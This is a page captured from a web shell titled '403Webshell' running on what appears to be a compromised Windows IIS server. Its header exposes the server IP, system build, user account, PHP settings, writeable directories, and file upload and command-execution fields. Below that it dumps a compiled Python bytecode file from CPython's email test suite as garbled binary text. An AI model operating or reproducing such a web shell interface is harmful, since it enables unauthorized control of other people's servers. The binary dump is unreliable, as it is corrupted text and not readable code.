403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python313/Lib/test/test_email/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python313/Lib/test/test_email/__pycache__/test_message.cpython-313.opt-1.pyc
�

��i_�����SSKrSSKrSSKJrJrJr SSKJrJr SSK	J
r
Jr Sr"SS\
5r
\"SS	55r"S
S\\
5r"SS
\\
5r\S:Xa\R$"5 gg)�N)�message_from_bytes�message_from_string�policy)�EmailMessage�MIMEPart)�
TestEmailBase�parameterizec�0�[[SU5S5$)Nc�
�USL$�N�)�xs �1C:\Python313\\Lib\test\test_email\test_message.py�<lambda>�first.<locals>.<lambda>
s���$��)�next�filter)�iterables r�firstr	s����.��9�4�@�@rc�8�\rSrSr\R
rSrSrSrg)�Test�
c��URS5nSUS'UR[5 SUS'SSS5 g!,(df   g=f)N�zabc@xyz�Tozxyz@abc)�_str_msg�assertRaises�
ValueError��self�ms  r�+test_error_on_setitem_if_max_count_exceeded�0Test.test_error_on_setitem_if_max_count_exceededs<���M�M�"�����$��
�
�
�z�
*��A�d�G�+�
*�
*�s	�;�
A	c���[[R"S5[RS9nURUSS5 URUSS5 UR
U[5 g)Na>            Subject: Ayons asperges pour le =?utf-8?q?d=C3=A9jeuner?=
            From: =?utf-8?q?Pep=C3=A9?= Le Pew <pepe@example.com>
            To: "Penelope Pussycat" <"penelope@example.com">
            MIME-Version: 1.0
            Content-Type: text/plain; charset="utf-8"

            sample text
            �r�subjectu Ayons asperges pour le déjeuner�fromuPepé Le Pew <pepe@example.com>)r�textwrap�dedentr�default�assertEqual�assertIsInstancerr s  r�/test_rfc2043_auto_decoded_and_emailmessage_used�4Test.test_rfc2043_auto_decoded_and_emailmessage_usedsa������1�!� ���
)��	
����9��'I�J�����6��$E�F����a��.rr
N)	�__name__�
__module__�__qualname__�__firstlineno__rr+r#r.�__static_attributes__r
rrrr
s��
�^�^�F� �/rrc�F�\rSrSr\R
rSSSS\R"S54SSS\R"S54SSS	\R"S
54SSS	\R"S54SS
S	\R"S54SSS	\R"S54SSS	\R"S54SS
S	\R"S54SSS	\R"S54SSS\R"S54SSS\R"S54SSS\R"S54SSS\R"S54SS
S	\R"S 54S!.rS"r	S#r
S$r"S%S&5rS'r
S(rS)rS*rS+rS,rS-rS.rS/rS0rS1r"S2S35rS4r"S5S65rS7rS8rS9rS:rS;rS<S=S>S?S@.r SAr!Sr"gB)C�TestEmailMessageBase�&)�NNrr
r
rr8r
zV                To: foo@example.com

                simple text body
                )NNNz�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: image/jpg

                bogus body.
                )N��)r:r9a�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/alternative; boundary="==="

                preamble

                --===
                Content-Type: text/plain

                simple body

                --===
                Content-Type: text/html

                <p>simple body</p>
                --===--
                a�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/mixed; boundary="==="

                preamble

                --===
                Content-Type: text/plain

                simple body

                --===
                Content-Type: text/html

                <p>simple body</p>

                --===--
                )NNr:)r9a�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/mixed; boundary="==="

                --===
                Content-Type: text/plain

                simple body

                --===
                Content-Type: text/html
                Content-Disposition: attachment

                <p>simple body</p>

                --===--
                )Nr9N)r:a�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/mixed; boundary="==="

                --===
                Content-Type: text/plain
                Content-Disposition: AtTaChment

                simple body

                --===
                Content-Type: text/html

                <p>simple body</p>

                --===--
                a�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/mixed; boundary="==="

                --===
                Content-Type: text/plain
                Content-Disposition: InLine

                simple body

                --===
                Content-Type: text/html
                Content-Disposition: inline

                <p>simple body</p>

                --===--
                )rr:Na�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/related; boundary="==="; type=text/html

                --===
                Content-Type: text/html

                <p>simple body</p>

                --===
                Content-Type: image/jpg
                Content-ID: <image1>

                bogus data

                --===--
                )rr9Na                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/related; boundary="==="; type=text/html;
                 start="<body>"

                --===
                Content-Type: text/html
                Content-ID: <include>

                useless text

                --===
                Content-Type: text/html
                Content-ID: <body>

                <p>simple body</p>
                <!--#include file="<include>"-->

                --===--
                )��r9)��)r:r=r>a�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/mixed; boundary="==="

                --===
                Content-Type: multipart/alternative; boundary="+++"

                --+++
                Content-Type: text/plain

                simple body

                --+++
                Content-Type: multipart/related; boundary="___"

                --___
                Content-Type: text/html

                <p>simple body</p>

                --___
                Content-Type: image/jpg
                Content-ID: <image1@cid>

                bogus jpg body

                --___--

                --+++--

                --===
                Content-Type: image/jpg
                Content-Disposition: attachment

                bogus jpg body

                --===
                Content-Type: image/jpg
                Content-Disposition: AttacHmenT

                another bogus jpg body

                --===--
                )r:r<r;a�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/mixed; boundary="==="

                --===
                Content-Type: multipart/related; boundary="+++"

                --+++
                Content-Type: multipart/alternative; boundary="___"

                --___
                Content-Type: text/plain

                simple body

                --___
                Content-Type: text/html

                <p>simple body</p>

                --___--

                --+++
                Content-Type: image/jpg
                Content-ID: <image1@cid>

                bogus jpg body

                --+++--

                --===
                Content-Type: image/jpg
                Content-Disposition: attachment

                bogus jpg body

                --===
                Content-Type: image/jpg
                Content-Disposition: attachment

                another bogus jpg body

                --===--
                )r:NNa�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/mixed; boundary="==="

                --===
                Content-Type: multipart/related; boundary="+++"

                --+++
                Content-Type: image/jpg
                Content-ID: <image1@cid>

                bogus jpg body

                --+++
                Content-Type: multipart/alternative; boundary="___"

                --___
                Content-Type: text/plain

                simple body

                --___
                Content-Type: text/html

                <p>simple body</p>

                --___--

                --+++--

                --===
                Content-Type: image/jpg
                Content-Disposition: attachment

                bogus jpg body

                --===
                Content-Type: image/jpg
                Content-Disposition: attachment

                another bogus jpg body

                --===--
                z�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: message/rfc822

                To: bar@example.com
                From: robot@examp.com

                this is a message body.
                a�                To: foo@example.com
                MIME-Version: 1.0
                Content-Type: multipart/mixed; boundary="==="

                --===
                Content-Type: text/plain

                Your message has bounced, sir.

                --===
                Content-Type: message/rfc822

                To: bar@example.com
                From: robot@examp.com

                this is a message body.

                --===--
                )�
empty_message�non_mime_plain�
mime_non_text�plain_html_alternative�plain_html_mixed�plain_html_attachment_mixed�html_text_attachment_mixed�!html_text_attachment_inline_mixed�related�related_with_start�mixed_alternative_plain_related�$mixed_related_alternative_plain_html�0mixed_related_alternative_plain_html_wrong_order�message_rfc822�mixed_text_message_rfc822c	���URU5n[UR55nUVs/sHowcSOXgPM
 nnSn	Sn
SnURUR	5[U55 URUR	SS9[U55 URUR	SS9[X�U
S-55 URUR	SS9[X�X�/55 URUR	SS9[X�US-55 URUR	S	/S9X�5 URUR	S
/S9X�5 URUR	S/S9X�5 URUR	SS9[X�U
S-
S
255 URUR	SS9[X�X�/55 URUR	SS9[X�SS
255 URUR	SS9[USSS
255 URUR	SS9[X�X�X�/55 gs snf)Nrr:r9)rG�html�plain)�preferencelist)rGrO)rGrP)rOrPrGrOrP)rPrO���)rPrG)rOrG)rPrOrG)rOrPrG)r�list�walkr,�get_bodyr)r!�
body_parts�attachments�parts�msgr"�allparts�n�expectedrGrOrPs            r�message_as_get_body�(TestEmailMessageBase.message_as_get_body�so���M�M�#��������>��@J�K�
�1�I�D�8�;�6�
��K���A�T�q�u��������u�X��7�������4D��E��x��	*�	
������3F��G��x��Q��7�8�	:�������3G��H��� 1�8�?�C�D�	F�������3D��E��x�U�1�W�5�6�	8�������I�;��?�!�*�	,�������F�8��<�h�n�M�������G�9��=�x��O�������3D��E��x�d�1�f�R��8�9�	;�������3G��H�����1B�C�D�	F�������3F��G��x��b��1�2�	4�������3O��P��x��"��~�.�	0�������3O��P���� (�� (� 1� 3�4�	5��1Ls�I3c���URU5n[UR55nUVs/sHovUPM	 nnUR[UR	55U5 gs snfr)rrSrTr,�iter_attachments)r!rVrWrXrYr"rZr[s        r�message_as_iter_attachment�/TestEmailMessageBase.message_as_iter_attachment�sX���M�M�#��������>��,7�8�K�q��{�K��8�����a�0�0�2�3�[�A��9s�A)c��SnURU5n[UR55nUVs/sHo�UPM	 nnU"U5(a[UR55O/n	UR	X�5 gs snf)Nc��SU;$)NzContent-Type: multipartr
)rYs r�_is_multipart_msg�ETestEmailMessageBase.message_as_iter_parts.<locals>._is_multipart_msg�s
��,��3�3r)rrSrT�
iter_partsr,)
r!rVrWrXrYrer"rZr[rgs
          r�message_as_iter_parts�*TestEmailMessageBase.message_as_iter_parts�sk��	4�
�M�M�#��������>��&+�,�e��!��e��,�->�s�-C�-C�T�!�,�,�.�)��
�����+��-s�A<c� �\rSrSrSrSrSrg)�(TestEmailMessageBase._TestContentManageri�c�
�XU4$rr
�r!rY�args�kws    r�get_content�4TestEmailMessageBase._TestContentManager.get_content�s���b�=� rc�(�XlX lX0lgr)rYrnrorms    r�set_content�4TestEmailMessageBase._TestContentManager.set_content�s���H��I��Gr)rnrorYN)r0r1r2r3rprsr4r
rr�_TestContentManagerrk�s��	!�	rruc�.�URS5nUR5nURURUS9US045 URSUSSS9up4nURX15 URUS5 URU[	SSS	95 g�
Nr��content_managerr
�foor:r9)ry�bar�k�rz�r{r|)rrur,rp�dict)r!r"�cmrYrnros      r�test_get_content_with_cm�-TestEmailMessageBase.test_get_content_with_cm�s����M�M�"���
�
%�
%�
'��������r��:�Q��B�K�H��
�
�e�R�Q�!�
�L�
��2����� �����x�(�����T�a�1�-�.rc�b�[RRUR5S9nUR	SUS9nURUR
5US045 UR
SSSS9up4nURX25 URUS	5 URU[SSS95 g�
Nrxrr&r
rzr:r9r~r})rr+�clonerurr,rpr)r!�pr"rYrnros      r�-test_get_content_default_cm_comes_from_policy�BTestEmailMessageBase.test_get_content_default_cm_comes_from_policys����N�N� � ��1I�1I�1K� �L���M�M�"�Q�M�'���������1�b�"�+�6��
�
�e��a�
�8�
��2����� �����x�(�����T�a�1�-�.rc���URS5nUR5nURUS9 URURU5 URUR
S5 URUR05 URSUSSS9 URURU5 URUR
S5 URUR[SSS	95 grw)rrursr,rYrnror�r!r"r�s   r�test_set_content_with_cm�-TestEmailMessageBase.test_set_content_with_cm
s����M�M�"���
�
%�
%�
'��	�
�
�b�
�)��������#�������"�%��������#�	�
�
�e�R�Q�!�
�<��������#�������(�+���������a� 0�1rc� �UR5n[RRUS9nUR	SUS9nUR5 UR
URU5 UR
URS5 UR
UR05 URSSSS9 UR
URU5 UR
URS	5 UR
UR[SSS95 gr�)rurr+r�rrsr,rYrnror)r!r�r�r"s    r�-test_set_content_default_cm_comes_from_policy�BTestEmailMessageBase.test_set_content_default_cm_comes_from_policys���
�
%�
%�
'���N�N� � �� �4���M�M�"�Q�M�'��	�
�
���������#�������"�%��������#�	�
�
�e��a�
�(��������#�������(�+���������a� 0�1r))rG�
no_content�succeeds)rG�noner�)rGrPr�)rGrGr)rG�alternative�raises)rG�mixedr�)r�r�r�)r�r�r�)r�rPr�)r�rGr�)r�r�r)r�r�r�)r�r�r�)r�r�r�)r�rPr�)r�rGr�)r�r�r�)r�r�rc�Z�UR5nSnSS/nUS:waURS5 US:Xa%SnURS5 URS5 OUS:wa/nURSS	U-45 URS
5 URU5 UH	upVXbU'M X$U4$)N)rzfoo@bar.com)�Fromzbar@foo.comr�)zX-Random-Header�Corwin�textr)�Content-Type�
text/plainr��
multipart/)zX-Trump�Random)�message�append�set_payload)r!�subtyper"�payload�msg_headers�name�values       r�_make_subtype_test_message�/TestEmailMessageBase._make_subtype_test_messageAs����L�L�N����!�#����l�"�)����8�9��f���G����=�>�
�M�M�"��
��
$��G������w�0F�G�H����0�1�	�
�
�g��&�K�D��d�G�'��w�&�&rc���UR[5n[X5"5 SSS5 [WR5nURX65 URX&5 g!,(df   NF=fr)rr�getattr�str�	exception�assertIn)r!r"�method_namer��method�ar�exc_texts       r� _check_disallowed_subtype_raises�5TestEmailMessageBase._check_disallowed_subtype_raisesXsQ��
�
�
�z�
*�b��A�� �+��r�|�|�$���
�
�g�(��
�
�k�,�	+�
*�s�A'�'
A5c��SnUHDupVUR5RS5(aM+URXU5 US-
nMF UR[U5US-5 [	UR55nSnUHDupVUR5RS5(dM+URXuU5 US-
nMF UR[U5U5 URUR
5U5 g)Nr�content-r:)�lower�
startswithr,�lenrrg�get_payload)r!r"r�r��countr�r��parts        r�_check_make_multipart�*TestEmailMessageBase._check_make_multipart_s�����&�K�D��:�:�<�*�*�:�6�6�� � ���%�0���
��'�	
����Q���q��)��A�L�L�N�#����&�K�D��z�z�|�&�&�z�2�2�� � ���U�3���
��'�	
����T��E�*�����)�)�+�W�5rc�0�URU5upEnSU-nUS;aURXAX'5 g[XG5"5 URUR	5S5 URUR5U5 US:XaSUR[
UR55S5 URUR5USSU-4/-5 gUR[
UR55S5 URXEU5 g)	N�make_�rr��	multipartr�rr�r�r:)
r�r�r�r,�get_content_maintype�get_content_subtyper�r��itemsr�)r!r�r��outcomer"r�r��make_methods        r�subtype_as_make�$TestEmailMessageBase.subtype_as_makeos���"&�"A�"A�'�"J������&���n�$��1�1�!�W�R�����!�����/�/�1�;�?�����.�.�0�&�9��l�"����S�����1�1�5����Q�W�W�Y�(�^�-9�&�-@�-B�,C�C�
D�
���S�����1�1�5��&�&�q�w�?rc��UR5nUS;a;SU-US'UR[5n[USU-5"5 SSS5 gUS:XaSUS'OUS:waSU-US'[USU-5"SS	9 UR	UR55 UR
UR5S5 g!,(df   g=f)
Nr�r�r�r�rPr�r��abc)�boundary)r�rrr��
assertTrue�is_multipartr,�get_boundary)r!r�r�r�r"r�s      r�subtype_as_make_with_boundary�2TestEmailMessageBase.subtype_as_make_with_boundary�s����L�L�N���n�$� ,�w� 6�A�n���"�"�:�.�"���7�V�+�,�.�/���g�� ,�A�n��
��
$� ,�w� 6�A�n����7�V�#�$�e�4�������(�)�������)�5�1�/�.��s�B?�?
C
c��SHsnURURRSS9S9nSUS'[X!5"5 UR	URS5RRS5 Mu g)N)�make_related�make_alternative�
make_mixedrzrxr&r�r�r)r�rr�r�r,r�ry)r!r�r"s   r�3test_policy_on_part_made_by_make_comes_from_message�HTestEmailMessageBase.test_policy_on_part_made_by_make_comes_from_message�si��H�F����D�K�K�$5�$5�e�$5�$L��M�A� ,�A�n���A�� ����Q�]�]�1�-�4�4�D�D�e�L�	Irc��\rSrSrSrSrg)�+TestEmailMessageBase._TestSetContentManageri�c�0�SUS'URU5 g)Nr�r�)r��r!rY�contentrnros     rrs�7TestEmailMessageBase._TestSetContentManager.set_content�s��".�C����O�O�G�$rr
N�r0r1r2r3rsr4r
rr�_TestSetContentManagerr��s��	%rr�c��URU5upEnUR5nUS:XaSOSU-nUS:XaURXAX(5 g[XH5"SUS9 UR	UR5S5 UR	UR
5U5 X:XdUS:Xa\UR	[UR55S	5 UHup�UR	XIU
5 M UR5S
nONUR	[UR55S5 URXEU5 UR5S	nUR	UR5S5 UR	UR5S5 US:XaUR	US
S5 gUS:XaUR	US
S5 gURUS
5 g)Nr��add_attachment�add_r��testrxr�r�r:rr9r��Content-Disposition�
attachmentrG�inline)r�r�r�r�r,r�r�r�r�r��get_content_type�assertIsNone)r!r�r�r�r"r�r�r��
add_methodr�r�r�s            r�subtype_as_add�#TestEmailMessageBase.subtype_as_add�s���"&�"A�"A�'�"J����
�
(�
(�
*��)/���%�f�v�o�
��h���1�1�!�W�Q�����v�r�:�����/�/�1�;�?�����.�.�0�&�9����<� 7����S�����1�1�5�*���� � ���%�0� +��=�=�?�1�%�D����S�����1�1�5��&�&�q�w�?��=�=�?�1�%�D�����.�.�0�,�?�����)�)�+�V�4��7�?����T�"7�8�,�G�
�Y�
����T�"7�8�(�C�
���d�#8�9�:rc�0�\rSrSr"SS\5rSrSrg)�2TestEmailMessageBase._TestSetRaisingContentManageri�c��\rSrSrSrg)�>TestEmailMessageBase._TestSetRaisingContentManager.CustomErrori�r
N)r0r1r2r3r4r
rr�CustomErrorr��s��rr�c�$�URS5e)Nr�)r�r�s     rrs�>TestEmailMessageBase._TestSetRaisingContentManager.set_content�s���"�"�6�*�*rr
N)r0r1r2r3�	Exceptionr�rsr4r
rr�_TestSetRaisingContentManagerr��s��	�)�	�	+rr�c�l�UR5nURURRUS9S9nSHgnUR	URR
5n[
X#5"S5 SSS5 UR[WR5S5 Mi g!,(df   N8=f)Nrxr&)�add_related�add_alternativer�rr�)
r�r�rr�rr�r�r,r�r�)r!r�r"r�r�s     r�6test_default_content_manager_for_add_comes_from_policy�KTestEmailMessageBase.test_default_content_manager_for_add_comes_from_policy�s���
�
/�
/�
1���L�L���� 1� 1�"� 1� E�L�F��J�F��"�"�4�#E�#E�#Q�#Q�R�VX���"�2�&�S����S����.��7�K�R�R�s�!B%�%
B3	c�^�URU5nUR5 UR[U5S5 UR[	UR55/5 UR
UR55 UR[	UR55/5 g)Nr)	r�clearr,r�rSr�r�r�rg)r!rVrWrXrYr"s      r�message_as_clear�%TestEmailMessageBase.message_as_clear�sv���M�M�#���	���	�����Q���#�����a�g�g�i��"�-����!�-�-�/�*�����a�l�l�n�-�r�2rc��URU5nUR5Vs/sH+nUR5RS5(aM)UPM- nnUR	5 UR[
UR55U5 URUR55 UR[
UR55/5 gs snf)Nr�)
r�keysr�r��
clear_contentr,rSr�r�rg)r!rVrWrXrYr"�h�expected_headerss        r�message_as_clear_content�-TestEmailMessageBase.message_as_clear_content�s����M�M�#���'(�v�v�x�E�x�!�#$�7�7�9�#7�#7�
�#C��x��E�	��������a�f�f�h��)9�:����!�-�-�/�*�����a�l�l�n�-�r�2��Es�(C�Cc���UR5nURUR55 SUS'URUR55 URSS5 UR	UR55 URSS5 UR	UR55 URSSS5 UR	UR55 g)Nr�r�r��
AtTachMent�filenamezabc.png)�
_make_message�assertFalse�
is_attachment�replace_headerr��	set_paramr s  r�test_is_attachment�'TestEmailMessageBase.test_is_attachment�s������ ��������*�+�#+��
� �������*�+�	���.��=�������)�*�	���.��=�������)�*�	���J�	�+@�A�������)�*rc�j�UR5nURS5 URS5 URS5 UR5R	5nUR[
[UR555S5 URUR5U5 g)Nzarbitrary text as main partzmore text as a related partz&yet more text as a second "attachment"r9)	rrsr�r��copyr,r�rSr`)r!r"�origs   r�test_iter_attachments_mutation�3TestEmailMessageBase.test_iter_attachments_mutation�s������ ��	�
�
�3�4�	�
�
�3�4�	�
�
�>�?��}�}��#�#�%������T�!�"4�"4�"6�7�8�!�<��������$�/r)u4String that can be encod��d with surrogateescapes0String that can be encodëd with surrogateescape)uString with utf-8 charactërsString with utf-8 charact�r)u8String that cannot be ëncod��d with surrogateescapes=String that cannot be �ncod\udcc3\udcabd with surrogateescape)u6String with � cannot be encoded with surrogateescapes9String with \udfff cannot be encoded with surrogateescape)�good_surrogateescape�string_with_utf8�surrogate_and_utf8�out_of_range_surrogatec�f�URU5nURSS9nURX$5 g)ztest for GH issue 94606T��decodeN)rr�r,)r!rYr\r"r�s     r�!get_payload_surrogate_as_gh_94606�6TestEmailMessageBase.get_payload_surrogate_as_gh_94606s.���M�M�#����-�-�t�-�,������+rN)#r0r1r2r3rr+r)r*�message_paramsr]rarhrur�r�r�r��subtype_paramsr�r�r�r�r�r�r�r�r�r�r�rrr�get_payload_surrogate_paramsrr4r
rrr6r6&s����^�^�F��
����O�O��
�	�
����O�O��
�	
�
����O�O��
�	#�0
����O�O��
�	�2
����O�O��
�	(�0
����O�O��
�	'�0
����O�O��
�	.�4
����O�O��
�	�6
����O�O��
�	�8
����O�O�,�,
�	0,�j
����O�O�,�,
�	01�l
����O�O�,�,
�	0=�f
����O�O�	�	
�	
� 
����O�O��
�	&�gL�N�\5�@B�,���/�/�
2�2�&
�N�*'�.-�6� @�$2� M�%�%�
;�:+�+�8�3�3�
+�0�!�
�
�
#�#$� �.,rr6c��\rSrSr\rSr"SS5rSrSr	Sr
SrS	rS
r
SrSrS
rSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrg)�TestEmailMessagei
c��URS5nUR5nURSU5 URUS9 UR	USS5 g�Nr�MIME-Versionrx�1.0)rru�assertNotInrsr,r�s   r�"test_set_content_adds_MIME_Version�3TestEmailMessage.test_set_content_adds_MIME_VersionsQ���M�M�"���
�
%�
%�
'�������+�	�
�
�b�
�)�����>�*�E�2rc��\rSrSrSrSrg)�(TestEmailMessage._MIME_Version_adding_CMic��SUS'g)Nr#r"r
rms    rrs�4TestEmailMessage._MIME_Version_adding_CM.set_contents��"'�C��rr
Nr�r
rr�_MIME_Version_adding_CMr(s��	(rr+c��URS5nUR5nURSU5 URUS9 UR	USS5 gr!)rr+r$rsr,r�s   r�0test_set_content_does_not_duplicate_MIME_Version�ATestEmailMessage.test_set_content_does_not_duplicate_MIME_VersionsQ���M�M�"���
�
)�
)�
+�������+�	�
�
�b�
�)�����>�*�E�2rc��URS5nUR[UR5R	5R55S5 g�N��Subject: long line ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab ab

r;�rr,r��	as_string�strip�
splitlinesr s  r�0test_as_string_uses_max_header_length_by_default�ATestEmailMessage.test_as_string_uses_max_header_length_by_default"s>���M�M�B�C������Q�[�[�]�0�0�2�=�=�?�@�!�Drc�6�URS5nUR[URSS9R	5R55S5 UR[URSS9R	5R55S5 g)Nr1r)�maxheaderlenr:�"r=r2r s  r�"test_as_string_allows_maxheaderlen�3TestEmailMessage.test_as_string_allows_maxheaderlen&s{���M�M�B�C������Q�[�[�a�[�8�>�>�@�K�K�M�N��	�����Q�[�[�b�[�9�?�?�A�L�L�N�O��	rc���URS5nURS5 URURSS9S5 URURSS9S5 g)Nr�z%From foo@bar Thu Jan  1 00:00:00 1970T)�unixfromz+From foo@bar Thu Jan  1 00:00:00 1970

testFz
test)r�set_unixfromr,r3r s  r�test_as_string_unixform�(TestEmailMessage.test_as_string_unixform-sW���M�M�&�!��	���>�?�������d��3�G�	I�������e��4�h�?rc��URS5nUR[[U5R	5R55S5 gr0)rr,r�r�r4r5r s  r�+test_str_defaults_to_policy_max_line_length�<TestEmailMessage.test_str_defaults_to_policy_max_line_length4s9���M�M�B�C������S��V�\�\�^�6�6�8�9�1�=rc�X�[5nSUS'UR[U5S5 g)Nuunicöde�SubjectuSubject: unicöde

)rr,r�r s  r�test_str_defaults_to_utf8�*TestEmailMessage.test_str_defaults_to_utf88s'���N��!��)������Q��!8�9rc�X�[5nSUS'UR[U5S5 g)NuDHello Wörld! Hello Wörld! Hello Wörld! Hello Wörld!Hello Wörld!rFs|Subject: Hello =?utf-8?q?W=C3=B6rld!_Hello_W=C3=B6rld!_Hello_W=C3=B6rld!?=
 Hello =?utf-8?q?W=C3=B6rld!Hello_W=C3=B6rld!?=

�rr,�bytesr s  r�!test_folding_with_utf8_encoding_1�2TestEmailMessage.test_folding_with_utf8_encoding_1=s2��
�N��B��)������q��P�	Qrc�X�[5nSUS'UR[U5S5 g)NuHHello Wörld! Hello Wörld! Hello Wörlds123! Hello Wörld!Hello Wörld!rFs�Subject: Hello =?utf-8?q?W=C3=B6rld!_Hello_W=C3=B6rld!_Hello_W=C3=B6rlds123!?=
 Hello =?utf-8?q?W=C3=B6rld!Hello_W=C3=B6rld!?=

rJr s  r�!test_folding_with_utf8_encoding_2�2TestEmailMessage.test_folding_with_utf8_encoding_2Ns2��
�N��F��)������q��P�	Qrc�X�[5nSUS'UR[U5S5 g)NuHHello-Wörld!-Hello-Wörld!-Hello-Wörlds123! Hello Wörld!Hello Wörld!rFs�Subject: =?utf-8?q?Hello-W=C3=B6rld!-Hello-W=C3=B6rld!-Hello-W=C3=B6rlds123!?=
 Hello =?utf-8?q?W=C3=B6rld!Hello_W=C3=B6rld!?=

rJr s  r�!test_folding_with_utf8_encoding_3�2TestEmailMessage.test_folding_with_utf8_encoding_3^s1��
�N��4��)������q��P�	Qrc�X�[5nSUS'UR[U5S5 g)NuHHello-Wörld!-Hello-Wörld!-Hello-Wörlds123!-Hello Wörld!Hello Wörld!rFs�Subject: =?utf-8?q?Hello-W=C3=B6rld!-Hello-W=C3=B6rld!-Hello-W=C3=B6rlds123!?=
 =?utf-8?q?-Hello_W=C3=B6rld!Hello_W=C3=B6rld!?=

rJr s  r�!test_folding_with_utf8_encoding_4�2TestEmailMessage.test_folding_with_utf8_encoding_4ns1��
�N��/��)������q��Q�	Rrc�X�[5nSUS'UR[U5S5 g)NuS123456789 123456789 123456789 123456789 123456789 123456789 123456789 Hello Wörld!rFsoSubject: 123456789 123456789 123456789 123456789 123456789 123456789 123456789
 Hello =?utf-8?q?W=C3=B6rld!?=

rJr s  r�!test_folding_with_utf8_encoding_5�2TestEmailMessage.test_folding_with_utf8_encoding_5~s0��
�N��<��)������q��?�	@rc�X�[5nSUS'UR[U5S5 g)Nuq123456789 123456789 123456789 123456789 Hello Wörld! 123456789 123456789 123456789 123456789 123456789 123456789rFs�Subject: 123456789 123456789 123456789 123456789 Hello =?utf-8?q?W=C3=B6rld!?=
 123456789 123456789 123456789 123456789 123456789 123456789

rJr s  r�!test_folding_with_utf8_encoding_6�2TestEmailMessage.test_folding_with_utf8_encoding_6�s1��
�N��$��)��	
����q��*�	+rc�X�[5nSUS'UR[U5S5 g)Nuo123456789 123456789 Hello Wörld! Hello Wörld! 123456789-123456789 123456789 Hello Wörld! 123456789 123456789rFs�Subject: 123456789 123456789 Hello =?utf-8?q?W=C3=B6rld!_Hello_W=C3=B6rld!?=
 123456789-123456789 123456789 Hello =?utf-8?q?W=C3=B6rld!?= 123456789
 123456789

rJr s  r�!test_folding_with_utf8_encoding_7�2TestEmailMessage.test_folding_with_utf8_encoding_7�s3��
�N��$��)��	
����q��N�	Orc�X�[5nSUS'UR[U5S5 g)Nu�123456789 123456789 Hello Wörld! Hello Wörld! 123456789 123456789 123456789 123456789 123456789 123456789-123456789 123456789 Hello Wörld! 123456789 123456789rFs�Subject: 123456789 123456789 Hello =?utf-8?q?W=C3=B6rld!_Hello_W=C3=B6rld!?=
 123456789 123456789 123456789 123456789 123456789 123456789-123456789
 123456789 Hello =?utf-8?q?W=C3=B6rld!?= 123456789 123456789

rJr s  r�!test_folding_with_utf8_encoding_8�2TestEmailMessage.test_folding_with_utf8_encoding_8�s3��
�N��$��)��	
����q��L�	Mrc��[[R5nSUS'[UR	5[RS9nURUSUS5 g)N�123456789123456789123456789�
Message-IDr&)rrr+r�as_bytesr,)r!r"�
parsed_msgs   r�!test_folding_with_short_nospace_1�2TestEmailMessage.test_folding_with_short_nospace_1�sJ��
����(��)��,��'��
�
��V�^�^�L�
�����L�1�1�\�?�Crc�"�[[R5nSnX!S'URUR	5SUS3R55 [
UR	5[RS9nURUSUS5 g)N�Z123456789123456789123456789123456789123456789123456789123456789123456789123456789123456789rez
Message-ID:
 z

r&)rrr+r,rf�encoder�r!r"r�rgs    r�/test_folding_with_long_nospace_default_policy_1�@TestEmailMessage.test_folding_with_long_nospace_default_policy_1�sy��
����(��"��!�,���������)�'��$�7�>�>�@�	B�'��
�
��V�^�^�L�
�����L�1�1�\�?�Crc��[[R5nSnX!S'[UR	5[R
S9nUR
USUS5 g�Nrkrer&)rr�compat32rrfr+r,rms    r�0test_folding_with_long_nospace_compat32_policy_1�ATestEmailMessage.test_folding_with_long_nospace_compat32_policy_1�sK������)��"��!�,��'��
�
��V�^�^�L�
�����L�1�1�\�?�Crc��[[R5nSnX!S'[UR	5[R
S9nUR
USUS5 grq)rr�SMTPrrfr+r,rms    r�,test_folding_with_long_nospace_smtp_policy_1�=TestEmailMessage.test_folding_with_long_nospace_smtp_policy_1��K������%��"��!�,��'��
�
��V�^�^�L�
�����L�1�1�\�?�Crc��[[R5nSnX!S'[UR	5[R
S9nUR
USUS5 grq)rr�HTTPrrfr+r,rms    r�,test_folding_with_long_nospace_http_policy_1�=TestEmailMessage.test_folding_with_long_nospace_http_policy_1�ryrc��SH,nURUS9 URU5 SSS5 M. g!,(df   M@=f)N)rN��max_line_length)�subTest�#do_test_no_wrapping_max_line_length)r!r[s  r� test_no_wrapping_max_line_length�1TestEmailMessage.test_no_wrapping_max_line_length�s7���A����a��0��8�8��;�1�0��0�0�s	�4�
A	c���URU5 [RRUS9nSnSn[	US9nSUS'SUS'X5S	'URU5 UR
5nURS
US5 [U[RS9nURUS	U5 UR5R5RS5nURX�5 g)
Nr�dSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS�dBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBr&za@ex.comr�zb@ex.comrrFs=
z+Found fold indicator; wrapping not disabled�
)
